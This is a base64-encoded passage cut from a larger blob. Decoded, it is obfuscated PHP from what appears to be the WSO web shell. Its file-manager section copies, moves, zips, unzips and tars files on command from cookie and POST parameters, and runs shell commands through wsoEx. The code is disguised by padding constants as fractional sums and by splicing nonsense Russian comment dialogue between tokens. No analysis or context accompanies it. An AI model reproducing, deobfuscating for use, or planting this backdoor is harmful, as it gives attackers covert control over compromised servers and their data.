0tJRVsnYWN0J10gPT0gLyogPERhdmlkIEJsYWluZT46INCd0YMg0LvQsNC00L3Qvi3Qu9Cw0LTQvdC+LCDRgNC10LHRj9GC0LAsINC30L3QsNC10YLQtSwg0Y8g0YXQvtGH0YMg0L/QvtC60LDQt9Cw0YLRjCDQstCw0Lwg0LrQvtC1LdGH0YLQviDQtNC10LnRgdGC0LLQuNGC0LXQu9GM0L3QviDQutGA0YPRgtC+0LUuLi4gKi8KICAgICAgICAgICAgICAgICAgICAnY29weScKICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIC8qIDxQZXRlcj46INCd0JXQoiEgKi8KICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRjLCAkcywgJGQpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRjIC4gJHMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2RpcigkZCAuICRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQG9wZW5kaXIoJGMgLiAkcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gLyogPEF2b24+OiDQndC1LCDRh9GD0LLQsNC6LCDQu9GD0YfRiNC1INGB0LXQsdC1INC/0L7QutCw0LfRi9Cy0LDQuSEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmYWxzZSkgaWYgKCgkZiAvKiA8RGF2aWQgQmxhaW5lPjog0KLQsNC6LCDQv9C+0LTQvtC20LTQuNGC0LUg0L7QtNC90YMg0LzQuNC90YPRgtC+0YfQutGDLCDRgdC10LrRg9C90LTRgyDQv9C+0LTQvtC20LTQuNGC0LUuLi4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIT0gLyogPEF2b24+OiDQntGB0YLQsNCy0Ywg0L3QsNGBINCyINC/0L7QutC+0LUhICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIuIilhbmQoJGYgLyogPFBldGVyPjog0JDQsNCwLCDQstC40LTQtdC7INGPINGN0YLQvtGCINGE0L7QutGD0YEsINC90L7QttC60LDQvNC4INC/0LXRgNC10LHQuNGA0LDRgtGMINCx0YPQtNC10YjRjCwg0YLQuNC/0LAg0LLQt9C70LXRgtC10YLRjCDRhdC+0YfQtdGI0YwuICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICE9IC8qIDxBdm9uPjog0JzQvtC5INC/0LvQtdC80Y/QvdC90LjQuiDQvNC+0LbQtdGCINGC0LDQuiDRgdC00LXQu9Cw0YLRjCwg0YLQvtC20LUg0LzQvdC1INGE0L7QutGD0YEhICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIuLiIpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApIGNvcHlfcGFzdGUoJGMgLiAkcyAuICcvJywgJGYsICRkIC4gJHMgLiAnLycpOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkYyAuICRzKSkgQGNvcHkoJGMgLiAkcywgJGQgLiAkcyk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX0NPT0tJRVsnZiddIGFzIC8qIDxEYXZpZCBCbGFpbmU+OiDQn9GA0L7RgdGC0L4g0L/QvtC00L7QttC00LjRgtC1INGB0LXQutGD0L3QtNC+0YfQutGDLCDQsD8gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZikgY29weV9wYXN0ZSgkX0NPT0tJRVsnYyddLCAkZiwgJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkX0NPT0tJRVsnYWN0J10gPT0gLyogPFBldGVyPjog0JrRgNC40YEg0K3QudC90LTQttC10Lsg0LTQtdC70LDQtdGCINGN0YLQviDQu9GD0YfRiNC1LCDRgdGD0LrQsCwg0L/QvtC90Y/Quywg0JrRgNC40YEg0K3QudC90LTQttC10Lsg0LTQtdC70LDQtdGCINGN0YLQviDQu9GD0YfRiNC1ISAqLwogICAgICAgICAgICAgICAgICAgICdtb3ZlJwogICAgICAgICAgICAgICAgKSB7CiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gLyogPEF2b24+OiDQrdC50LLQuNC9ISDQryDQu9C10YfRgyEgKi8KICAgICAgICAgICAgICAgICAgICBtb3ZlX3Bhc3RlKCRjLCAkcywgJGQpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRjIC4gJHMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2RpcigkZCAuICRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQG9wZW5kaXIoJGMgLiAkcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gLyogPFBldGVyPjog0IHQvNCw0L3QsNGA0L7RgiEhICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmFsc2UpIGlmICgoJGYgLyogPEF2b24+OiDQryDRh9GD0LLRgdGC0LLRg9GOINGC0LXQv9C70L4g0Lgg0LvQtdGH0YMhICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICE9IC8qIDxQZXRlcj46INCB0JzQkNCd0JDQoNCe0KIhISEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIi4iKWFuZCgkZiAvKiA8UGV0ZXI+OiDQntC/0YPRgdGC0Lgg0LXQs9C+LCDQv9C+0LbQsNC70YPQudGB0YLQsCwg0LA/INCB0LzQsNC90LDRgNC+0YIsINC/0L7QtCDQvdC40Lwg0L3QuNGH0L4g0L3QtdGC0YMsINGB0L7QstGB0LXQvCDQvdC40YfQviDQvdC10YLRgyEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIT0gLyogPEF2b24+OiDQntC9INC30LDQutC40L3Rg9C7INC80LXQvdGPINC90LAg0LrRgNGL0YjRgyEg0J7QvSDQvdCwINC60YDRi9GI0YMg0LzQtdC90Y8g0LfQsNGH0LXQvC3RgtC+INC30LDQutC40L3Rg9C7ISDQl9Cw0YfQtdC8INGC0Ysg0LzQtdC90Y8g0YHRjtC00LAg0LfQsNC60LjQvdGD0Ls/INCU0Y3QstC40LQg0JHQu9C10LnQvSwg0LTQsNC5INC80L3QtSDRgdC70LXQt9GC0YwhINCU0Y3QstC40LQg0JHQu9C10LnQvSwg0YHQv9GD0YHRgtC4INC80LXQvdGPISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiLi4iKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKSBjb3B5X3Bhc3RlKCRjIC4gJHMgLiAnLycsICRmLCAkZCAuICRzIC4gJy8nKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKEBpc19maWxlKCRjIC4gJHMpKSBAY29weSgkYyAuICRzLCAkZCAuICRzKTsKICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfQ09PS0lFWydmJ10gYXMgLyogPFBldGVyPjog0KXQstCw0YLQuNGCINC80L3QtSDQs9Cw0LfQuNGA0L7QstC60YMg0LIg0YDQvtGCINC/0LjRhdCw0YLRjCEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZikgQHJlbmFtZSgkX0NPT0tJRVsnYyddIC4gJGYsICRHTE9CQUxTWydjd2QnXSAuICRmKTsKICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkX0NPT0tJRVsnYWN0J10gPT0gLyogPEF2b24+OiDQntC9INC00LDQttC1INC90LUg0L7RgtC70LXQstC40YLQuNGA0L7QstCw0Lsg0LzQtdC90Y8g0L7QsdGA0LDRgtC90L4hICovCiAgICAgICAgICAgICAgICAgICAgJ3ppcCcKICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgIGlmIChjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IC8qIDxQZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L3QvtCz0LgsINCy0LDQu9C40Lwg0L7RgtGB0Y7QtNCwINCx0YvRgdGC0YDQtdC5ISAqLwogICAgICAgICAgICAgICAgICAgICAgICBaaXBBcmNoaXZlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCRfUE9TVFsncDInXSwgcm91bmQoMCArIDAuMzMzMzMzMzMzMzMzMzMgKyAwLjMzMzMzMzMzMzMzMzMzICsgMC4zMzMzMzMzMzMzMzMzMykpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfQ09PS0lFWydmJ10gYXMgLyogPERhdmlkIEJsYWluZT46INCt0LksINGN0LksINGA0LXQsdGP0YLQsCwg0LXRidGRINC+0LTQuNC9INGC0YDRjtC6LCDQtdGJ0ZEg0L7QtNC40L0g0YTQvtC60YPRgS4uLiAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGYgLyogPFBldGVyPjog0JjQtNC4INCyINC/0LXQvdGMLCDQsCDRgtC+INGJ0LDRgSDQvNC10L3RgtC+0LIg0L/QvtC30L7QstGDISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9PSAvKiA8RGF2aWQgQmxhaW5lPjog0K3QuSwg0L/QvtC00L7QttC00LjRgtC1LCDQv9Cw0YDQvdC4LCDQv9C+0YHQu9C10LTQvdC40LksINC+0LHQtdGJ0LDRji4g0K3QuSwg0YDQtdCx0Y/RgtCwISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLi4nCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGlzX2ZpbGUoJF9DT09LSUVbJ2MnXSAuICRmKSkgJHppcC0+YWRkRmlsZSgkX0NPT0tJRVsnYyddIC4gJGYsICRmKTsgZWxzZWlmIChAaXNfZGlyKCRfQ09PS0lFWydjJ10gLiAkZikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZXJhdG9yID0gbmV3IC8qIDxEYXZpZCBCbGFpbmU+OiDQldGB0LvQuCDQstGLINC00LDQtNC40YLQtSDQvNC90LUg0L/QvtC60LDQt9Cw0YLRjCDQtdGJ0ZEg0L7QtNC40L0g0YTQvtC60YPRgSwg0Y8g0LTQsNC8INCy0LDQvCDRgdGC0L4g0LTQvtC70LvQsNGA0L7Qsi4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgLyogPERhdmlkIEJsYWluZT46INCf0L7Qt9Cy0L7Qu9GM0YLQtSDQv9C+0LrQsNC30LDRgtGMINC80L3QtSDQstCw0Lwg0LXRidGRINC+0LTQuNC9INGE0L7QutGD0YEsINC4INGPINC00LDQvCDQstCw0Lwg0YHRgtC+INC00L7Qu9C70LDRgNC+0LIuICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRmIC4gJy8nLCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUykpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXRlcmF0b3IgLyogPFBldGVyPjog0JTQsNGI0Ywg0LzQvdC1INGB0YLQviDQtNC+0LvQu9Cw0YDQvtCyPyAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcyAvKiA8QXZvbj46INCi0Ysg0YHQvNC+0LbQtdGI0Ywg0LrRg9C/0LjRgtGMINGC0L7RgiDRiNCw0YDRhNC40LohICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRrZXkgPT4gJHZhbHVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfQ09PS0lFWydhY3QnXSA9PSAvKiA8UGV0ZXI+OiDQotC+0YfQvdC+ISDQl9Cw0YjQuNCx0LjRgdGMLCDQs9C+0L3QuCDRgdGC0L4g0LHQsNC60YHQvtCyLiAqLwogICAgICAgICAgICAgICAgICAgICd1bnppcCcKICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgIGlmIChjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IC8qIDxEYXZpZCBCbGFpbmU+OiDQnNC+0LPRgyDRjyDQt9Cw0LnRgtC4PyAqLwogICAgICAgICAgICAgICAgICAgICAgICBaaXBBcmNoaXZlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfQ09PS0lFWydmJ10gYXMgLyogPFBldGVyPjog0J3RgyDQu9Cw0LTQvdC+LCDQv9C+0YjQu9C4Li4uICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkX0NPT0tJRVsnYyddIC4gJGYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+ZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkX0NPT0tJRVsnYWN0J10gPT0gLyogPFBldGVyPjog0KLRiyDRgtC+0YfQvdC+INC00LXQvdGM0LPQuCDQtNCw0YjRjD8gKi8KICAgICAgICAgICAgICAgICAgICAndGFyJwogICAgICAgICAgICAgICAgKSB7CiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9DT09LSUVbJ2MnXSk7CiAgICAgICAgICAgICAgICAgICAgJF9DT09LSUVbJ2YnXSA9IGFycmF5X21hcCgnZXNjYXBlc2hlbGxhcmcnLCAkX0NPT0tJRVsnZiddKTsKICAgICAgICAgICAgICAgICAgICB3c29FeCgndGFyIGNmenYgJyAuIGVzY2FwZXNoZWxsYXJnKCRfUE9TVFsncDInXSkgLiAnICcgLiBpbXBsb2RlKCcgJywgJF9DT09LSUVbJ2YnXSkpOwogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB1bnNldCgkX0NPT0tJRVsnZiddKTsKICAgICAgICAgICAgICAgIHNldGNvb2tpZSgnZicsICcnLCB0aW1lKCkgLSByb3VuZCgwICsgMTgwMCArIDE4MDApKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgX19XU09fX3NldGNvb2tpZSgnYWN0JywgJF9QT1NUWydwMSddKTsKICAgICAgICAgICAgICAgICAgICBfX1dTT19fc2V0Y29va2llKCdmJywgc2VyaWFsaXplKEAkX1BPU1RbJ2YnXSkpOwogICAgICAgICAgICAgICAgICAgIF9fV1NPX19zZXRjb29raWUoJ2MnLCBAJF9QT1NUWydjJ10pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQogICAgd3NvSGVhZGVyKCk7CiAgICBlY2hvIC8qIDxBdm9uPjog0JTQvtCx0YDQviDQv9C+0LbQsNC70L7QstCw0YLRjCDQsiDQtNC+0LwuICovCiAgICAnPGgxPkZpbGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzY3JpcHQ+cDFfPXAyXz1wM189IiI7PC9zY3JpcHQ+JzsKICAgICRkaXJDb250ZW50ID0gd3NvU2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSkgPyAkX1BPU1RbJ2MnXSA6ICRHTE9CQUxTWydjd2QnXSk7CiAgICBpZiAoJGRpckNvbnRlbnQgLyogPFBldGVyPjog0Jgg0LLQvtGCINC80Ysg0LIg0LzQvtC10Lkg0LrQstCw0YDRgtC40YDQtSwg0Lgg0YfQvj8gKi8KICAgICAgICA9PT0gLyogPERhdmlkIEJsYWluZT46INCS0L7RgiDRjdGC0L4g0YfRgtC+INGC0LDQutC+0LU/ICovCiAgICAgICAgZmFsc2UKICAgICkgewogICAgICAgIGVjaG8gLyogPFBldGVyPjog0JzQvtC5INCy0LjQtNCw0LouICovCiAgICAgICAgJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7CiAgICAgICAgd3NvRm9vdGVyKCk7CiAgICAgICAgcmV0dXJuOwogICAgfQogICAgZ2xvYmFsIC8qIDxEYXZpZCBCbGFpbmU+OiDQmNC90YLQtdGA0LXRgdC90L4uLi4g0KHQtNC10LvQsNC5INC80L3QtSDQvtC00L7Qu9C20LXQvdC40LUsINC90LDQudC00Lgg0LrQsNGB0YHQtdGC0YMsINC90LAg0LrQvtGC0L7RgNC+0Lkg0L3QsNC/0LjRgdCw0L3QviAn0JzQsNC70LXQvdGM0LrQuNC5INCt0LnQstC+0L0sINCw0L/RgNC10LvRjCDQstC+0YHQtdC80YzQtNC10YHRj9GCINGH0LXRgtCy0ZHRgNGC0L7Qs9C+Jy4gKi8KICAgICRzb3J0OwogICAgJHNvcnQgPSBhcnJheSgnbmFtZScsIHJvdW5kKDAgKyAwLjMzMzMzMzMzMzMzMzMzICsgMC4zMzMzMzMzMzMzMzMzMyArIDAuMzMzMzMzMzMzMzMzMzMpKTsKICAgIGlmICghZW1wdHkoJF9QT1NUWydwMSddKSkgewogICAgICAgIGlmIChwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsncDEnXSwgJG1hdGNoKSkgJHNvcnQgPSBhcnJheSgkbWF0Y2hbcm91bmQoMCArIDAuMjUgKyAwLjI1ICsgMC4yNSArIDAuMjUpXSwgKGludCkkbWF0Y2hbcm91bmQoMCArIDIpXSk7CiAgICB9CiAgICBlY2hvIC8qIDxQZXRlcj46INCp0LDRgSDQv9C+0YHQvNC+0YLRgNGOLCDQvNC+0LbQtdGCINCz0LTQtS3RgtC+INC10YHRgtGMLi4uICovCiAgICAgICAgIjxzY3JpcHQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBzYSgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IoaT0wO2k8ZC5maWxlcy5lbGVtZW50cy5sZW5ndGg7aSsrKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihkLmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gJ2NoZWNrYm94JykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQuZmlsZXMuZWxlbWVudHNbaV0uY2hlY2tlZCA9IGQuZmlsZXMuZWxlbWVudHNbMF0uY2hlY2tlZDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgPC9zY3JpcHQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMic+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBuYW1lPWZpbGVzIG1ldGhvZD1wb3N0Pjx0cj48dGggd2lkdGg9JzEzcHgnPjxpbnB1dCB0eXBlPWNoZWNrYm94IG9uY2xpY2s9J3NhKCknIGNsYXNzPWNoa2J4PjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX25hbWVfIiAuICgkc29ydFtyb3VuZCgwICsgMC4yNSArIDAuMjUgKyAwLjI1ICsgMC4yNSldID8gcm91bmQoMCkgOiByb3VuZCgwICsgMSkpIC4gIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIgLiAoJHNvcnRbcm91bmQoMCArIDAuNSArIDAuNSldID8gcm91bmQoMCkgOiByb3VuZCgwICsgMC4yICsgMC4yICsgMC4yICsgMC4yICsgMC4yKSkgLiAiXCIpJz5TaXplPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX21vZGlmeV8iIC4gKCRzb3J0W3JvdW5kKDAgKyAwLjMzMzMzMzMzMzMzMzMzICsgMC4zMzMzMzMzMzMzMzMzMyArIDAuMzMzMzMzMzMzMzMzMzMpXSA/IHJvdW5kKDApIDogcm91bmQoMCArIDEpKSAuICJcIiknPk1vZGlmeTwvYT48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3Blcm1zXyIgLiAoJHNvcnRbcm91bmQoMCArIDAuNSArIDAuNSldID8gcm91bmQoMCkgOiByb3VuZCgwICsgMC4yNSArIDAuMjUgKyAwLjI1ICsgMC4yNSkpIC4gIlwiKSc+UGVybWlzc2lvbnM8L2E+PC90aD48dGg+QWN0aW9uczwvdGg+PC90cj4iOwogICAgJGRpcnMgPSAkZmlsZXMgPSBhcnJheSgpOwogICAgJG4gPSBjb3VudCgkZGlyQ29udGVudCk7CiAgICBmb3IgKCRpID0gcm91bmQoMCk7ICRpIDwgJG47ICRpKyspIHsKICAgICAgICAkb3cgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pKTsKICAgICAgICAkZ3IgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pKTsKICAgICAgICAkdG1wID0gYXJyYXkoJ25hbWUnID0+IC8qIDxEYXZpZCBCbGFpbmU+OiDQn9C+0YHQvNC+0YLRgNC4INCyINC80LDQs9C90LjRgtC+0YTQvtC90LUsINC+0L3QsCDRgtCw0LwuICovCiAgICAgICAgJGRpckNvbnRlbnRbJGldLCAncGF0aCcgPT4gLyogPEF2b24+OiDQp9GRLdGC0L4g0LzQvdC1INC60LDQui3RgtC+INGB0YvQutCw0YLQvdC+Li4uICovCiAgICAgICAgJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldLCAnbW9kaWZ5JyA9PiAvKiA8UGV0ZXI+OiDQndGDINC4INGH0L4g0YLQsNC60L7Qs9C+LCDQv9GA0L7RgdGC0L4g0LrQsNGB0YHQtdGC0LAsINGF0L7Rg9C8INCy0LjQtNC10L4uLi4g0K8g0YLQsNC8INCyINGC0L7QvCDQstC+0LfRgNCw0YHRgtC1INC10YnRkSDRgdC40YHRjNC60YMg0YHQvtGB0YMuINCS0L7RgiDRjdGC0L7RgiDQutCw0YDQsNC/0YPQtyAtINGPLiAqLwogICAgICAgIGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKSwgJ3Blcm1zJyA9PiAvKiA8QXZvbj46INCQINCy0L7RgiDRjdGC0L4g0LzQsNC80LAg0K3QudCy0L7QvdCwLiAqLwogICAgICAgIHdzb1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSwgJ3NpemUnID0+IEBmaWxlc2l6ZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pLCAnb3duZXInID0+IC8qIDxQZXRlcj46INCS0L7RgiDRjyDRgdC+0L/Qu9C4INC/0YPQt9GL0YDRj9C80Lgg0L3QsNC00YPQstCw0Y4sINC4INGH0L4/ICovCiAgICAgICAgJG93WyduYW1lJ10gPyAkb3dbJ25hbWUnXSA6IEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwgJ2dyb3VwJyA9PiAvKiA8QXZvbj46INCV0LPQviDQvNCw0LzQsCDQuCDRidCw0YEg0YXQvtGA0L7RiNC+INCy0YvQs9C70Y/QtNC40YIuICovCiAgICAgICAgJGdyWyduYW1lJ10gPyAkZ3JbJ25hbWUnXSA6IEBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKSk7CiAgICAgICAgaWYgKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpICRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+IC8qIDxEYXZpZCBCbGFpbmU+OiA80LIg0LLQuNC00LXQvjo+INCS0L7RgiDRgdGC0L4g0LTQvtC70LvQsNGA0L7Qsi4g0K8g0LTQvtC70LbQtdC9INCS0LDRiNC10LzRgyDRgdGL0L3Rgy4gKi8KICAgICAgICAnZmlsZScpKTsgZWxzZWlmIChAaXNfbGluaygkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKSAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+IC8qIDxQZXRlcj46INCk0LDQuiDQvNC+0Lkg0LzQvtGB0LohISAqLwogICAgICAgICdsaW5rJywgJ2xpbmsnID0+IC8qIDxBdm9uPjog0K3RgtC+INGH0YLQviDQstC+0L7QsdGJ0LUg0LfQsCDRhdGD0LnQvdGPPyEhISEgKi8KICAgICAgICByZWFkbGluaygkdG1wWydwYXRoJ10pKSk7IGVsc2VpZiAoQGlzX2RpcigkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKSAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+IC8qIDxBdm9uPjog0KLQvtGCINC20LUg0YHQsNC80YvQuSDQuCDRgtCw0Lwg0Lgg0YLQsNC8ISEgKi8KICAgICAgICAnZGlyJykpOwogICAgfQogICAgJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0OwogICAgZnVuY3Rpb24gLyogPFBldGVyPjog0KTQsNC6INC80L7QuSDQvNC+0YHQuiEhISAqLwogICAgd3NvQ21wKCRhLCAkYikKICAgIHsKICAgICAgICBpZiAoJEdMT0JBTFNbJ3NvcnQnXVtyb3VuZCgwKV0gIT0gLyogPFBldGVyPjog0JIg0YDQvtGCINC80L3QtSDQvdC+0LPQuCwg0YLRg9GCINCy0L7QvtCx0YnQtSDRh9GRINC/0YDQvtC40YHRhdC+0LTQuNGCLdGC0L4sINCwPyEhISAqLwogICAgICAgICAgICAnc2l6ZScKICAgICAgICApIHJldHVybiAvKiA8QXZvbj46INCR0LvQuNC9LCDRjyDQvtCx0L7RgdGB0LDQu9GB0Y8hICovCiAgICAgICAgICAgIHN0cmNtcChzdHJ0b2xvd2VyKCRhWyRHTE9CQUxTWydzb3J0J11bcm91bmQoMCldXSksIHN0cnRvbG93ZXIoJGJbJEdMT0JBTFNbJ3NvcnQnXVtyb3VuZCgwKV1dKSkgKiAoJEdMT0JBTFNbJ3NvcnQnXVtyb3VuZCgwICsgMC4zMzMzMzMzMzMzMzMzMyArIDAuMzMzMzMzMzMzMzMzMzMgKyAwLjMzMzMzMzMzMzMzMzMzKV0gPyByb3VuZCgwICsgMC4yNSArIDAuMjUgKyAwLjI1ICsgMC4yNSkgOiAtcm91bmQoMCArIDAuMzMzMzMzMzMzMzMzMzMgKyAwLjMzMzMzMzMzMzMzMzMzICsgMC4zMzMzMzMzMzMzMzMzMykpOyBlbHNlIC8qIDxQZXRlcj46INCB0LzQsNC90LDRgNC+0YIsINGB0LTRgNC40YHQvdC4INCy0L7QvtCx0YnQtSDQvtGC0YHRjtC00LAsINC00LXQvNC+0L0sINCy0LDQu9C4INC+0YLRgdGO0LTQsCDQsiDQv9GA0L7RiNC70L7QtSDQuNC70Lgg0LHRg9C00YPRidC10LUsINGPINC90LUg0LfQvdCw0Y4sINGR0LzQsNC90LDRgNC+0YIhICovCiAgICAgI